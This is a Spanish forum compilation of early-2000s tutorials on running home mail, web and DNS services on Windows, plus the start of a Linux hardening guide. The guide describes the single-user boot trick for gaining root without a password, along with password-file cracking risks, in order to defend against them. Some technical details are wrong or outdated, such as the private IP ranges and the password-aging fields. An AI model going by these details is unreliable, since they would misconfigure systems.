En el proceso de instalación, lo primero que nos pide es un nombre para nuestra Post Office inicial, por ejemplo podemos llamarla como el subdominio que has contratado y estableces una contraseña. En la siguiente pantalla te pedirá el nombre de tu dominio, en este caso pondrías misubdominio.ods.org. Te pide también que especifiques los servidores de DNS y el puerto en el que escuchará el servicio de intercambio y transporte de mensajes SMTP que por defecto es 25 y que no hay razón aparente para que quieras cambiar esto. Después de esta configuración inicial se inicia el proceso de instalación.

Una vez que se ha instalado, podemos acceder a la consola de administración mediante el acceso que en el menú de inicio se crea en la instalación para realizar una configuración más exhaustiva y añadir nuevos usuarios al servidor.

La consola de administración se compone de dos partes principales, una es Messenging Manager y otra Servers. En la primera vamos a configurar todo lo concerniente con las estafetas de correo y  los usuarios, grupos, listas de correo y dominios de la estafeta. Se pueden crear tantas estafetas como queramos, pero con una de momento es suficiente.

Si abrimos el menú de Post Offices, nos aparecerá la estafeta que definimos en la instalación. Si desplegamos el menú de la estafeta tenemos acceso a los dominios que maneja la estafeta, los mailboxes (los usuarios), los grupos y las listas de correo. Si pinchamos sobre domains, nos aparecerá el dominio que especificamos en la instalación, es decir, misubdominio.ods.org. Si pinchamos sobre mailboxes nos aparecen los usuarios del servidor. Inicialmente únicamente hay uno, el postmaster. Para crear un nuevo usuario tan sólo debemos poner el ratón sobre la ventana derecha y pulsado el botón derecho->nuevo elegimos mailbox. Ahí podemos elegir el nombre del usuario, si es una cuenta de administrados o de usuario corriente y se puede establecer la cuota de disco para el usuario (no olvidar poner una contraseña). Por ejemplo, creamos una cuenta para Pepe García llamada pgarcia.

Las opciones de grupos y listas de correo las voy a pasar por alto pero pueden ser consultadas en la documentación que es descargable desde la página.

Una vez que hemos creado un usuario, nos queda configurar el servidor POP3 y SMTP. Únicamente voy a hacer un apunte sobre la configuración del servidor SMTP. Para configurar este, debemos abrir el menú servers, a continuación el de localhost y por último el de connectors. Después pinchando el botón derecho sobre SMTP y dando a propiedades nos aparece la ventana de configuración del servidor. Pinchamos sobre la pestaña de Relay. Esto nos va a permitir que alguien que no sea un usuario nuestro utilice nuestro servidor, así se puede evitar el spam o correo basura. Para ello hay que seleccionar la casilla "Allow relay for authenticated senders". Después, pinchando sobre el botón que esta justo debajo de esta, seleccionamos "Authenticated against the MailEnable user database". La configuración por defecto del POP3 es válida y no es necesario tocarla.

Argosoft

Argosoft es un servidor de correo muy casero y lento pero que funciona y me parece muy simpático. Se puede encontrar en http://www.argosoft.com/applications/mailserver/ y es para la gente que por no tener Windows 2000 o XP el mailenable no le funciona.

Se instala como cualquier otro programa en Windows y el servidor empieza a funcionar aunque tenemos que configurarlo. Abrimos el programa desde la barra de iconos que aparece en la parte inferior derecha de nuestra barra de acceso rápido. Pinchamos sobre tools->options.

En la pestaña general, debemos introducir una dirección de DNS para que el servidor pueda realizar sus consultas, aquí debemos ponerle la dirección del que nos asignó nuestro proveedor o alguno que tu uses. También ha que activar la opción "Allow Relay" para que se pueda enviar correo a través del servidor y por último introducir el nombre de nuestro pc con el dominio por ejemplo.

Después pinchamos la pestaña local domains y ahí debemos introducir los diferentes dominios a los que vamos a gestionar el correo. En nuestro caso introduciríamos uno llamado misubdominio.org.

En la pestaña ports podremos modificar el número de los puertos que utilizan los servicios que se ofrecen. El servicio finger (para el que no lo conozca) da cierta información sobre los usuarios de correo que tenemos. No recomiendo en absoluto tenerlo y si podéis desactivarlo o bloquear el puerto.

La siguiente y ultima modificación que vamos a hacer será en la pestaña SMTP Authentication. Aquí debemos activar las dos casillas que se ven en pantalla a modo de seguridad que siempre viene bien. La primera es pare requerir autentificación para enviar mensajes por el servidor y la segunda para que la autentificación sea con el mismo login y password usado para el servidor POP3.Y ya está configurado. Si el servidor estaba lanzado lo reiniciamos, y si no lo lanzamos.

Ahora sólo queda introducir usuarios dentro del servidor. Para eso nos vamos a tools->users (o usando el icono de acceso de la pantalla principal). En la primera casilla, debemos poner el nombre del usuario, por ejemplo pgarcia. En la segunda el nombre completo del usuarios y en las dos siguientes el password que utilizará para acceder al servidor de correo.

Yo creo que no hay que comentar mucho sobre esto, ¿no?. En el primer cuadro insertamos el nombre de la cuenta, después el nombre real y por último el password. Las dos últimas casillas os las dejo a vosotros pero yo creo que son obvias.

Clientes

Y bien, con esto ya tenemos nuestro servidor rulando. Ahora sólo queda configurar los clientes de correo como Outlook o Netscape para poder enviar correo.

Voy a comentar la configuración para Outlook Express porque es el más extendido. Para ello, una vez abierto el Outlook, pinchamos sobre Herramientas y seleccionamos cuentas. Pinchamos sobre agregar y seleccionamos correo. Primero metemos el nombre que aparecerá cuando alguien reciba correo ( Pepe García ), después la dirección de correo (pgarcia@misubdominio.ods.org). Lo que nos pide a continuación son las direcciones de los servidores de POP3 y SMTP. Aquí la cosa cambia un poco dependiendo de dónde lo hemos instalado y desde donde se va a acceder. Si el ordenados donde se va a usar la cuenta está dentro de la red donde está el servidor de correo, habrá que poner la dirección IP de éste. Si no se está configurando en un ordenador que no está en nuestra red, que está por el mundo de Internet de Dios, pues aprovechamos el haber introducido las entradas de DNS como se indicó el primer capítulo. Si se puso una misma entrada para SMTP y POP3 como indiqué y que la llamé mailhost.misubdominio.ods.org, pues introducimos eso en las dos casillas. Si pusimos una entrada para cada servidor (el pop3 y el smtp) pues ponemos cada una según corresponda(por ejemplo, pop3.misubdominio.ods.org y smtp.misubdominio.ods.org). El haber puesto dos entradas diferentes tiene algún sentido si algún día nos interesase poner en ordenadores diferentes bajo direcciones IP diferentes el servidor de correo POP3 y SMTP. Esto es posible hacerlo y es lo más normal en servidores de mucho tráfico, sin embargo ese no es el caso ni éste es el software indicado para ello.

Por último, introducimos el nombre de la cuenta (pgarcia) (en el caso de mailenable seguido de una @ y el nombre del Post Office que hubierais puesto (p ej. pgarcia@misubdominio) ) y el password(*******). Pero aún no está todo...Si pincháis sobre la pestaña correo, podréis ver una nueva cuenta de correo, la que acabas de crear, pues pincháis sobre ella y le dais a propiedades. Nos vamos a la pestaña de servidores y activamos la casilla "Mi servidor requiere autentificación". Después de activarla le dais a configuración y seleccionáis "usar la misma configuración que el servidor de correo entrante".

Y ya está todo configurado. Ha sido una explicación muy concentrada pero la documentación a pesar de estar en inglés es fácilmente entendible y completa.

Vuelvo a hacer hincapié en el hecho de la configuración de los clientes, especialmente para aquellos que tengan una configuración multipuesto detrás de un router configurado como NAT. Si estáis en la misma red del servidor, no  pongáis las entradas mailhost.misubdominio.ods.org ni nada por el estilo puesto que le estarías pidiéndole el correo al router. Pon la dirección IP local y privada de la máquina donde esté el servidor. Si el cliente está fuera de nuestra red, puede poner mailhost.misubdominio.ods.org en la configuración.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
#328
Documento original de:
http://www.bandaancha.st/documentos.php?docid=35

Montar servidor casero sobre Windows: II. Servicio WEB
por FreeBSD

EL SERVICIO WEB


 Es el servicio estrella de Internet, y para instalarnos un servidor web en nuestra casa de manera gratuita hay muchas posibilidades. Se puede utilizar el que lleva el propio windows, creo que 98 y ME llevan un servidor personal de páginas WEB y 2000 y XP el Internet Information Server (no estoy seguro de esto). La elección de un servidor WEB depende de lo que nos queramos complicar la vida, de la seguridad que queramos, de cómo vayamos a programar la página, etc. Bien, pues pasen y vean, estos son algunos de los servidores que podemos poner si no queremos usar los que nos da windows.



Apache  
 Es el servidor de Internet más usado del planeta, se calcula que aproximadamente el 55% de las páginas de Internet se sirve con él. Las posibilidades son infinitas aunque la configuración puede no ser muy agradable para gente muy acostumbrada Windows con sus bonitas ventanas y botones porque se configura con ficheros de texto. Bueno, puedo decir que como defensa que hay documentación tanto en inglés como en español y que siempre es bueno aprender a manejar apache.



 Nos podemos bajar tanto la versión 1.3.X como la 2.X. Según comentan en su página http://httpd.apache.org , para la familia Windows está más optimizada la versión 2. Se recomienda usarlo con Windows NT o 2000 aunque comentan que con los demás sistemas operativos de Windows funciona igual.



 La configuración se hace mediante un archivo de texto llamado httpd.conf que está en el directorio \conf donde hayamos instalado Apache. Según se instala apache, el servidor ya está funcionando, podemos comprobarlo poniendo http://localhost en nuestro navegador y nos saldrá una página avisando que el servidor está funcionando. Por defecto, el servidor muestra como página principal alguna que se llame index.html que se encuentre en el directorio \htdocs donde hayamos instalado Apache. Podemos mover los archivos que allí están puestos a otro sitio y poner ahí nuestras páginas. Otra manera que hay es decirle a Apache que busque las páginas en otro directorio. Para ello, editaremos el fichero httpd.conf con el bloc de notas y buscaremos una entrada que diga DocumentRoot y sustituimos lo que está entre comillas por el path o camino donde se quiere poner nuestras páginas.



 Esto es lo más simple que hay que hacer para que el servidor funcione, lo demás para que investigueis. De todas maneras se puede encontrar documentación en Español en la página http://quark.fe.up.pt/ApachES/manual-es/ .



Otros


 Por supuesto que hay más servidores gratuitos, aquí va una lista. He intentado especificar su facilidad de configuración y si deja que se configuren muchos parámetros de funcionamiento.

Sambar:
Muy completo y muy bueno. Es algo más que un servidor web y se configura mediante archivos de texto
http://www.sambar.com/
Xitami:
Muy conocido y bueno, se configura mediante archivos de texto.
http://www.xitami.com/
Savant:
Se configura de manera gráfica principalmente. No es complicado.
http://savant.sourceforge.net
Dino'sWebServer:
Muy muy muy sencillo. Casi no requiere configuración.
http://home.no.net/nextgen/files/serv.htm
IronWall HTTP:
Sencillo de usar y puedes limitar el ancho de banda que de salida total y por conexión.
http://wasxalpha.redirectme.net/
MyWebServer:
Muy sencillo de usar. Se configura mediante un interfaz web.
http://www.mywebserver.org/us/
Lil HTTP Server 2.2:
Muy sencillito.
http://www.summitcn.com/lilhttp/lildocs.html
SimpleServer:WWW Analogx:
Posiblemente el más sencillo. Para gente que no quiera complicarse la vida.
http://www.analogx.com/
Abyss Web Server 1.0:
Muy sencillo de usar y deja configurarse. Se configura en un interfaz web.
http://www.aprelium.com/abyssws/index.html
Pi3Web v1.03:
Muy sencillo de instalar y muy sencillo de usar. Se configura mediante una herramienta de configuración que incluye el programa. Documentación abundante.
http://pi3web.sourceforge.net/
TheServer 1.1:
No hace falta ni instalación. Se configura con un archivo de texto. Documentación abundante.
http://www.fastlinksoftware.com/
 Por supuesto que en esta lista no están todos, son sólo algunos y he intentado ofrecer un abanico de posibilidades amplio para que cada uno elija aquel que mejor le convenga. Todo depende de en qué se quiera hacer la página, si va a usar tecnología JAVA, CGI, ASP...etc etc. La cosa es bajárselo y probar.



 Un único apunte más sobre esto. La gente que tenga una línea ADSL detrás de un NAT, como pasa con la configuración multipuesto de telefónica, no podrá acceder a su página web poniendo en su navegador www.misubdominio.ods.org, porque se conectará al router. Si el servidor está lanzado y bien configurado, lo puedes probar poniendo en tu navegador http://ip_de_la_máquina_donde_está_el_servidor. Después, si has configurado bien los túneles de entrada del router, ya se puede acceder desde fuera. Si aún así te quieres quedar tranquilo, ve a http://www.anonymizer.com/ y desde ahí pruebas si es accesible desde Internet tu página.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
#329
Documento original de:
http://www.bandaancha.st/documentos.php?docid=34

Montar servidor casero sobre Windows: I. Configuración de DNS por FreeBSD

INTRODUCCIÓN

En muchos foros y cosas similares he visto muchas consultas sobre cómo montar servidores de Internet. Con este documento voy a intentar explicar con la mayor sencillez y concretando al máximo los pasos a seguir para montar diversos servicios de Internet en tu casa o pequeña oficina y algunos otros servicios de para redes locales.

Como es lógico, todo el software que mencione aquí es de libre distribución o de código abierto (o al menos en el momento que yo lo probé lo era) y cada uno está sujeto a licencias diferentes que no voy a comentar y que cada uno es responsable de leerlas o no, y de esta manera cumplirlas o no. Como la economía es importante (y no voy a hacer apología del pirateo) no voy a considerar que estos servicios se van a instalar sobre sistemas operativos servidores de Windows como Windows 2000 Server, Advanced Server o NT Server. Digamos que nos conformamos con algo más barato como Windows 95/98, ME, XP o 2000 Professional (estos dos últimos  no son tan baratos pero bueno). Aunque voy a ejemplificar más para Windows 2000 Professional.

De todas maneras, te animo a que pruebes Unix o Linux si no lo has hecho nunca, porque lo que se puede hacer en Windows de manera "gratuita" son juguetitos comparado con lo que estos sistemas ofrecen, aunque no sea tan sencillo.

Voy a comentar como instalar servidores web, smtp, pop3, ftp, telnet y ssh. Bueno, no se si luego comentaré todos o si además ampliaremos alguno más. En este sitio se comenta como abrir los puertos de los routers de turno, así que eso es algo que voy a obviar, solamente comentaré los puertos que usan estos servicios por defecto:

WEB-> 80
SMTP->25
POP3->110
FTP->21
SSH->22
TELNET->23
PREVIAMENTE EL DNS, LO MAS IMPORTANTE

El DNS proporciona en Internet un servicio de traducción de nombres, es decir, nosotros ponemos en nuestro navegador http://www.talypascualdominio.com y no http://172.26.0.34 , siendo esta un dirección IP ficticia (e imposible) de la página que queremos visitar. Esto es posible porque un servicio de traducción de nombres ha traducido www.talypascualdominio.com en la dirección IP donde se encuentra.

Bueno, vamos a aclarar lo de que 172.26.0.34 es una dirección ficticia. Existen direcciones IP privadas, es decir, a las que no se puede acceder desde Internet directamente. Están reservadas para ser utilizadas en redes locales. Los rangos de direcciones IP privadas son:

10.xxx.xxx.xxx
172.26.xxx.xxx
192.168.0.x
Pondré los ejemplos de direcciones IP con direcciones privadas no va a ser que coincida con la de alguno y se me vaya a enfadar, que el mundo es muy pequeño.

Si queremos ofrecer servicios a Internet para que alguien acceda a ellos o queremos redondear lo que pongamos aunque sea para uso personal, lo mejor es conseguir un dominio. He dicho antes que la economía es importante, así que no voy a hacer que paguéis un dominio, lo que vamos a hacer es contratar un subdominio gratuito.

Hay millones de lugares donde pueden contratarse estos subdominios pero yo me quedo con el que se proporciona en http://www.ods.org (Open Domain Server) por un pequeño detalle que comentaré más adelante. No digo que sea el mejor ni nada por el estilo, pero simplemente es el que mejor conozco.

En este punto hay que explicar algunas cosillas sobre el servicio DNS. No voy a comentar todas, porque ya me estoy extendiendo más de lo que debería, pero sí aquellas que nos resultan útiles para nuestro propósito.

En el DNS se pueden introducir diversos tipos de entradas. Aquí voy a comentar las entradas A, CNAME y MX.

Entradas de tipo A.
Establece una relación directa entre una dirección IP y un nombre. Por ejemplo:

talypascualdominio.com -----------> 172.26.0.34

En el momento en que esta relación queda registrada en un servidor de DNS, decir talypascualdominio es lo mismo que decir la dirección IP 172.26.0.34

Entradas tipo CNAME
Permite establecer alias entre nombres. Es decir, podemos llamar de dos maneras a una misma cosa. Por ejemplo:

miotrodominio.com------------------> talypascualdominio.com

En este momento, decir miotrodominio.com es lo mismo que decir talypascualdominio.com, y a su vez ,teniendo en cuenta la entra tipo A anterior, es lo mismo que decir la dirección IP 172.26.0.34

Entradas tipo MX
Las entradas MX dan información de donde se encuentra el intercambiador de correo de un dominio determinado. Es decir, dice donde está el servidor de correo de un dominio.

Imaginemos que queremos poner un servidor de correo para nuestro dominio talypascualdominio.com. Podríamos insertar una entrada en el DNS que sea talypascualdominio.com MX smtp.talypascualdominio.com. Con esto decimos que el correo que vaya a nuestro dominio, se encamine a la dirección a la que apunta smtp.talypascualdominio.com. Así, cuando enviamos un email a postmaster@talypascualdominio.com desde Yahoo por ejemplo, el servidor de correo de Yahoo mirará la entrada MX del DNS para saber a dónde lo tiene que enviar.

Este tipo de entrada no es 100% necesaria pero si aconsejable. Los servidores de correo vana  buscar nuestra entrada MX y si no lo encuentran pues ya depende del servidor. Algunos lo van a mandar a la dirección que hayamos puesto a nuestro dominio y otros no se comen la cabeza y lo devuelven.

Es por este motivo que me gusta el servicio que da ODS, ya que en muchos otros lugares no se nos permite introducir este tipo de entradas.

No sé si alguien se ha asustado con todo esto que he contado, espero que no porque vamos a ver que hacer esto es tan simple que un niño puede hacerlo.

EMPIEZA LA CHICHA

Para empezar nos vamos al a página www.ods.org y allí nos registramos. No nos piden ni el teléfono ni dirección ni grupo sanguíneo, tan sólo un nombre de usuario, un password, nuestra dirección de correo electrónico y el nombre. Una vez que nos hayamos registrado, volvemos a la página principal y metemos nuestro login y password y ya estamos a punto de empezar a hacer cositas.

A la izquierda nos aparece un cuadro que lleva por título Add Host on a Public Domain. Esto es lo que nosotros queremos, un nombre de subdominio público que nos sale gratis. Bien, pues pensamos en un nombre (como ejemplo pondremos como nombre misubdominio) y lo ponemos en la primera casilla (Host). Después debemos elegir bajo que dominio lo queremos. Por ejemplo elegimos el de la página, ods.org en la casilla segunda (Domain). Después debemos elegir que tipo de entrada queremos hacer (recordad lo que comente más arriba). Vamos a elegir tipo A en la tercera casilla (Type). Y por último debemos poner en la cuarta casilla nuestra dirección IP pública (IP/CNAME).

Alguien podría decir aquí que no puede poner dirección IP porque tiene una IP dinámica, no importa los que estén en este caso que pongan una cualquiera y más adelante lo solucionamos que tiene una solución muy sencilla.

¿Ya ha hecho todo el mundo lo que he contado? Pues bien, le das al botón Add Host. Y vemos si nos ha dejado meter esa entrada porque pudiera ser que el nombre está cogido. Si nos ha dejado pues cojonudo, si no pues probamos otro.

Ahora mismo ya tenemos entradas en el DNS que apuntan a nuestra dirección IP. Ahora lo podemos redondear un poco más con unos alias para que, por ejemplo, si alguien puede acceder a nuestra página pueda teclear www.misubdominio.ods.org. Esto lo vamos a hacer utilizando las entradas CNAME. Pues a empezar de nuevo. En la primera casilla ponemos www.misubdominio, en la segunda elegimos el dominio ods.org y en la tercera vamos a poner tipo CNAME. Ahora la cosa cambia un poco, porque ya no vamos a poner una dirección IP, sino otro nombre, así que en la cuarta casilla ponemos misubdominio.com.

Esto también se podría hacer con una entrada tipo A a nuestra dirección IP. Las posibilidades son diversas.

Vamos a poner como ejemplo que quedas con unos cuantos colegas con ADSL para poner servicios por Internet. En casa de uno vais a poner la página web, en otra el servidor FTP y en otra el servidor de correo. Bueno, pues los colegas sois Pedro, Luis y Pablo (que original). Bien, pues ponéis una entrada tipo A que se llama pedro.misubdominio.ods.org y que apunte a la dirección IP de Pablo. Y así lo mismo con Luis y Pablo.

Digamos que Pedro tendrá la página web, Pablo el servidor de WEB y Luis el de correo. Pues se crea una entrada CNAME llamada www.misubdominio.ods.org a pedro.misubdominio.ods.org. Para Pablo una entrada CNAME ftp.misubdominio.ods.org a pablo.misubdominio.ods.org. Y para Luis una que diga luis.misubdominio.ods.org CNAME mailhost.misubdominio.ods.org.

Y bien, ahora queda dar la puntilla para que el servicio de correo funciona correctamente, tenemos que meter una entrada MX para que se sepa donde está el intercambiador de correo. Pues en la primera casilla pondremos misubdominio, elegimos como dominio ods.org, elegimos tipo de entrada MX y en la cuarta casilla pondremos mailhost.misubdominio.ods.org. Ahora, todo el correo que vaya para el nuestro dominio, se dirigirá a mailhost.misubdominio.ods.org, es decir, a luis.misubdominio.ods.org, es decir, a la casa de Luis. En este caso queda el problema de a quién hacer apuntar el nombre misubdominio.ods.org, no sé si deciros que lo mejor es que sea una entrada tipo A a una dirección IP o un CNAME a la dirección de Pedro, Luis o Pablo, cada cosa pues tiene lo suyo. Elijan a su gusto.

En el resto de la página de de www.ods.org se da la posibilidad de cambiar las entradas que hemos hecho (update mapping for) o borrar algo que hemos metido (delete host).

Muchos os preguntareis por esa última casilla que hay en la parte de hacer los registros, pues no la voy a comentar porque no es imprescindible y me estoy alargando mucho. Podéis encontrar información sobre esto en cualquier tutorial sobre DNS de los muchos que hay por Internet.

Antes de que se me olvide vamos a comentar ahora el problemilla de las IPs dinámicas puede ocasionar para poner servicios de Internet. Bueno, problemilla ninguno, sólo tenéis que ir a la página http://www.algenta.com/software/winip y descargaros gratuitamente winip. Este programa lo que hace es actualizar las entradas de DNS automáticamente con la IP que tengáis en ese momento.

Una vez que te lo has bajado e instalado, la configuración es bien sencilla. En la primera casilla llamada Protocol eliges ODS; en la casilla Server poner ods.org; en hostname el nombre del host que quieres actualizar, así que vamos a imaginar que pedro tenía una conexión con IP dinámica, así que ahí pondría pedro.misubdominio.ods.org; y en las dos últimas casillas el nombre y password con que se registraron en la página de ods.

Podemos lanzar tantas veces el programa como registros quisiéramos actualizar dinámicamente, podríamos lanzar en un mismo ordenador dos veces el winip, una para actualizar pedro.misubdominio.ods.org y cualquier otra entrada que necesitemos.

Esto creo que ha sido un poco aburrido, yo al menos me he aburrido un poco escribiéndolo, pero creo que es necesario para que la cosa quede bonita. En los próximos documentos se explicará ya como instalar los servicios de Internet y qué software gratuito hay para cada uno de ellos. Eso si veo que la cosa tiene interés, si no pues me iré con las orejas agachadas.

Ni que decir queda que si alguien encuentra errores o fallos me pegue dos collejas de inmediato,  espero no haberme equivocado mucho.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
#330
Tutoriales - Documentación / Seguridad en Linux
18 Septiembre 2002, 19:54 PM
Documento Original de:
http://www.bandaancha.st/documentos.php?docid=26

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.

Seguridad en LINUX por  |^FaRLo^|
1 SeGuRiDaD eN LiLo
2 uSuaRioS y PaSSWorDs
2.1 GruPoS , chgrp , newgrp , GruPoS CoN PaSSWorDs , etc...
2.2 La oRDeN Su
2.3 PaSSWorDs eN SHaDoW

Comentarios:

Bueno, a acusa del poco tiempo que tengo voy ha tener que ir haciendo este
especie de tutorial poco a poco, por tanto he decidido dividirlo y segun como lo
vea tratare mas temas de los que aqui expongo,
esto dependera de como se desarrolle la cosa :).

PRiMeRa PaRTe

1. SeGuRiDaD eN LiLo

Para arrancar Linux se debe instalar un programa que cargue el kernel, Linux
se puede cargar de varias maneras pero lo mas habitual es usar el programa
Linux Loader (LILO), a este programa se le pueden pasar varias opciones
durante el arranque para activar características especiales del sistema o
para pasar opciones al kernel, las opciones más conocidas son:

rescue - Inicia Linux en modo de único usuario para permitir reparaciones del
sistema.

single - Similar al anterior.

root=<dispositivo> Esta opcion permite arrancar desde otro dispositivo ,
por ejemplo desde un CD_ROM.
El problema es que si alguien tiene acceso local a tu maquina y arranca con
la opcion single:

Linux single
Posss entrare en el sistema con permisos de root y sin poner contrase¤a ,
para remediar esto se ha de cambiar la configuración de LILO para que pida
una contrase¤a cuando se intente utilizar la opcion single o rescue.

El archivo de configuracion de LILO se encuentra en :

/etc/lilo.conf

Para hacer que pida password se ha de añadir lo siguiente:

password=elpasswordquequieras
restricted

Por ultimo los permisos del fichero /etc/lilo.conf deberian de ser solo de
lectura y escritura para el root y para nadie mas, como mucho para el grupo
al que pertenece el root. Ya que como el password que hemos puesto esta en
texto plano cualquiera podria verlo.

2. uSuaRioS Y PaSSWorDs:

Passowrds:

UNIX utiliza un programa llamado crypt(3) para encryptar las passwords, este
programa se basa en el algoritmo de encrytacion DES (Estandar de Encryptacion
de Datos).

Las passswords pueden tener como maximo 11 caracteres pero una vez
encryptadas tienen 13, esto es debido a que los dos primeros caracteres son
el grano de sal (condimento) y se generan a parir del contador del reloj en
el momento en el que se asigna la contraseña, este grano de sal consta de 12
bits, esto quiere decir que puede ser un valor de entre 0 y 4095. Asi para
cada contrase¤a posible hay 4095 formas diferentes de encryptacion.

En el fichero /etc/passwd se guardan el nombre de usuario, nombre real ,
informacion de identificacion, y si el sistema no esta en shadow el passwd
encryptada del usuario.
Un ejemplo:

root:WLR103VcgThbH,31AB:0:0:root:/root:/bin/bash

Donde WLR103VcgThbH es la clave encrytada y WL es el gano de sal.

El numero 3 es el maximo de vida del passwd, despues de tres semanas el
usuario debera cambiarla.

El numero 1 indica cuantas semanas deben pasar para que el usuario puede
cambiar su password.
AB Indica cuando se cambio por ultima vez la clave, (Indica el numero de
semanas que han pasado desde 1/1/1970).

Estos datos están escritos en base 64.
Si por ejemplo root:...,31AB:0:0:root:/root:/bin/bash , indica que el
usuario tendra que cambiar su clave la proxima vez que se conecte al sistema.

Para cambiar el passwd basta con teclear:

Passwd -n diasmin -x diasmax usuario

Donde diasmin es el numero de dias que han de pasar para que el usuario puede
cambiar su passwd.
diasmax es el numero de dias en que expira la clave, para deshabilitar la
expiracion basta con que el valor de tiempo sea -1. Por ejemplo en el caso
del usuario Invitado:

passwd -x 30 Invitado

El usuario Invitado tendra que cambiar su clave cada mes.

No es recomendado usar la opcion un (dias minimos para cambiar la password)
porque si el usuario sospecha que le han pillado el passwd y aun no han
pasado los dias minimos, pues no podra cambiarla hasta que no pasen dichos
dias.

Si en el campo de la clave aparece un NP, (NO password) la cuenta no tiene
password, si por el contrario aparece LK (Locked passwd) significa que la
cuenta esta bloqueada.

Para buscar las cuentas sin passwd:

egrep 'NP|::' /etc/passwd

Para buscar por ejemplo info de un usuario en el fichero passwd:

egrep 'usuario1|usuario2' /etc/passwd

El numero 0 es el identificador de Usuario (uid).
El identificador de usuario permite determinar, entre otras cosas:
Que ficheros son propiedad de dicho usuario, cuales son los que se pueden
ejecutar, a que zonas tiene acceso un usuario, etc... Con esto quiero decir
que UNIX/Linux no identifica de quien es cada cosa por el nombre de usuario
sino por el UID.

UID es un entero sin signo de 16 bits, el cual va de 0 a 65535.
Los UID's menores de 9 son habitualmente usados por funciones del sistema
como ftp.
El uid 0 corresponde a el superusuario (root), los UID para los demas
usuarios suelen empezar a partir del numero 100.

2.1 GruPoS , chgrp , newgrp , GruPoS CoN PaSSWorDs

El siguiente campo pertenece al Identificador de Grupo, en este caso root
pertenece al grupo 0. A los usuarios que van a pertenecer al mismo grupo se
les asigna el mismo gid.

El gid puede ir de 0 hasta 60000, El 0 corresponde al grupo de superusuario:
Los usuarios que estan en el mismo grupo tienen el mismo nivel de privilegios
para aquellos elementos que pertenezcan al grupo.

En el directorio /etc/group esta la lista de cada grupo, un ejemplo del
/etc/group es:

Administ:*:0:root,Charli
Programadores:*:10:Juan,Pedro,Antonio
Usuarios:*:100:

Donde:

Administ Es el nombre del grupo
* Es el password del grupo, en este caso no hay passwd
Root, Charli Los miembros del grupo.

Pueden haber un usuario que pertenezca a varios grupos, el usuario podre
entrar en todos aquellos grupos donde este su loguin, por defecto al entrar
en el sistema entrare en el grupo que corresponda a su gid, luego para
cambiar de grupo simplemente ha de teclear:

newgrp nombre-grupo

Para asociar una clave a un grupo se genera la clave para un usuario nuevo y
se copia con el editor de textos en el fichero /etc/group en el campo
correspondiente.

Los permisos para este fichero han de ser de lectura y escritura para el root
y de lectura para los demas usuarios, SI un usuario puede escribir en este
fichero puede ganar permisos de root con simplemente poner su nombre de
usuario en el mismo grupo en que esta el root y quitar la password si es que
hay.

La orden chgrp sirve para cambiar el grupo propietario de un archivo, su
sintaxis es:

chgrp [opciones] [grupo] [archivo]

La orden chown sirve para cambiar el propietario de un archivo, pero tambien
admite la utilizacion de uid y gid.

Por ejemplo:

chown 500:100 /bin/bash

Cambia el propietario del archivo al usuario con uid 500 y al grupo gid 100.
Se recomienda que /bin/chown solo pueda ser ejecutado por los usuarios con gid
0.

2.2 oRDeN Su

La orden su significa (switch user, cambiar usuario) se utiliza para cambiar
de un usuario a otro, si no se utiliza ningun campo su asume que se ha de
pasar al usuario root.

Una manera de restringir la orden su es quitando al programa /bin/su permisos
de ejecucion a los usuarios que no pertenezcan a un grupo especial, como
administradores. Como ya sabeis los permisos pueden ser para el propietario,
para el grupo y para todos los usuarios.

2.3 PaSSWorDs eN SHaDoW



Los passwords en Unix se dividen en 7 campos, (separados por dos puntos) :

tonto:h34Sd3vc23: 100:100:Alvaro:/usr/tonto:/bin/sh

- Primer campo: Tonto
Es el nombre con el que el sistema reconoce al usuario. A eso se le llama
(login). (Perdonadme los que entiendan algo de unix, pero esque lo tengo que
explicar pa alguien que no sepa na de na).

- Segundo campo: h34Sd3vc23
Esta es la palabra clave del usuario pero esta cifrada. Si contiene un
asterisco (*) este password esta desactivado y no puede usarse. :(

- Tercer campo: 100
Este es el número de usuario del sistema, (que puede ser hasta 60000). El
usuario con nivel 0 es el root o superusuario.

- Cuarto campo: 100
Es el número del grupo al que pertenece el usuario, todos los usuarios de un
mismo grupo tienen los mismos privilegios como es logico, (tambien este campo
puede ser del 0 al 60000)

- Quinto campo: Alvaro
En este campo aparecen datos adicionales del usuario, (en este caso el
nombre).

- Sexto campo: /usr/tonto
Es el directorio home del usuario en cuestion.

- Septimo campo: /bin/sh
Es el Shell que el usuario tonto utiliza.

Como si pillas un fichero de passwords que no estan en shadow y te pones a
crackearlo salen passwords como caracoles despues de la lluvia J, se decide
de poner este sistema en que las passwords encryptadas se guardan en un
archivo a parte generalmente en /etc/shadow (pero depende del sistema),
este archivo al contrario del /etc/passwd solo tiene permisos de lectura para
el root.

Luego en el fichero /etc/passwd en vez de la clave encryptada se pone un * o
algun otro simbolo, esto depende del sistema, he aqui unos ejemplos :))

Tipo de UNIX Directorio Simbolo

AIX3 /etc/security/passwd !
SunOs 5.0 /etc/shadow *
UNICOS /etc/udb *
BSD4.3-Reno /etc/master.passwd *
HP-UX /.segure/etc/passwd *
EP/IX /etc/shadow X
IRIX 5 /etc/shadow X

La estructura del fichero /etc/shadow es la siguiente:

username:passwd:last:may:must:warn:expire:disable:

Donde:

username Es el nombre de usuario.

passwd La clave encryptada.

last Los dias que hace que se cambio la clave desde 1/1/1970.

may Los dias que han de pasar para que la clave pueda ser cambiada.

must Los dias en que espira la clave.

warn Los dias en que se avisara al usurario antes de que el passwd
expire.

expire Son los dias que pueden pasar con la clave caducada antes de
que se deshabilite la cuenta.

Hay una seria de circunstancias en que poner contrase¤as a la sombra puede
dar problemas:

. Cuando en la maquina se verifica el password via NFS, NIS o algun otro
metodo.

. Cuando la maquina esta en una LAN y esta usando NIS (Network Information
Services).

En el fichero /etc/login.defs se especifica por ejemplo los dias maximos en
que puede expirar una passwd, los dias minimos, los caracteres minimos que
puede tener, el UID maximo etc...

Podemos bloquear el programa passwd para que solo un grupo de usuarios o un
usuario puedan ejecutarlo (cambiar su passwd) :

Por ejemplo:

chgrp grupo /bin/passwd

Cambia el grupo propietario del programa passwd.

chmod 4750 /bin/passwd

